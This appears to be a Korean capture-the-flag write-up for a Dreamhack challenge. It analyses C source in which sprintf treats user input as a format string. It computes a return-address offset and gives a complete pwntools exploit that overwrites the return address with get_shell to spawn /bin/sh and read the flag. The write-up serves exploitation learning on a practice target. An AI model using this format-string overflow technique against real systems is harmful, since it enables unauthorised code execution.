

NX 하나만 걸려있다.
소스코드 분석하겠다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\\n", stack_buf);
return 0;
}
아주 심플하다.
heap_buf는 최대 0x80바이트만 읽음stack_buf는 0x90바이트까지 선언sprintf(stack_buf, heap_buf);로 heap_buf를 포맷 문자열로 해석 + 길이 제한 없음
버퍼 시작이 ebp-0x98이고, sfp가 ebp+4이기 때문에 ret_offset = 0x98+0x4 = 0x9C

&get_shell = 0x08048669
from pwn import *
HOST, PORT = "host1.dreamhack.games", 8851 # 실제 원격 정보로 교체
OFFSET_TO_RET = 156 # 0x9C
GET_SHELL = 0x08048669 # &get_shell()
def build_payload():
pad = f"%{OFFSET_TO_RET}c".encode()
ret = p32(GET_SHELL)
return pad + ret
def exploit(p):
payload = build_payload()
p.send(payload)
p.sendline(b"cat flag")
print(p.recvline(timeout=2).decode(errors="ignore"))
print(p.recvline(timeout=2).decode(errors="ignore"))
if __name__ == "__main__":
context.arch = "i386"
context.os = "linux"
context.log_level = "info"
p = remote(HOST, PORT)
exploit(p)
p.interactive()
